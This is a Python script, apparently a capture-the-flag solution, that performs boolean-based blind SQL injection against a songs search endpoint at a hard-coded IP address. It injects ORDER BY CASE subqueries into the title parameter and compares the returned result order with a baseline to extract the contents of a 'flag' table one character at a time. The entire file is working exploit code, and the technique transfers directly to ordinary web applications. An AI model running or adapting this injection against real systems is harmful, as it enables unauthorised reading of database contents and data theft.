import requests

url = 'http://20.198.224.34:8901/songs'

characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}'

original_order = None

params = {'title': '\' ORDER BY title ASC--'}
response = requests.get(url, params=params)
# print(response.text)
if response.status_code == 200:
    original_order = response.json()['songs']

def fetch_songs(char, index):
    params = {'title': f"' ORDER BY CASE WHEN (SELECT substr(value, {index}, 1) FROM flag LIMIT 1) = \'{char}\' THEN title ELSE album END ASC--"}
    response = requests.get(url, params=params)
    # print(response.text)
    if response.status_code == 200:
        return response.json()['songs']
    else:
        return None

def is_correct_character(original, test_order):
    if test_order is not None:
        return test_order == original
    return False

for i in range (1, 50, 1):
    for char in characters:
        test_order = fetch_songs(char, i)
        if is_correct_character(original_order, test_order):
            print(char, end="")
            break
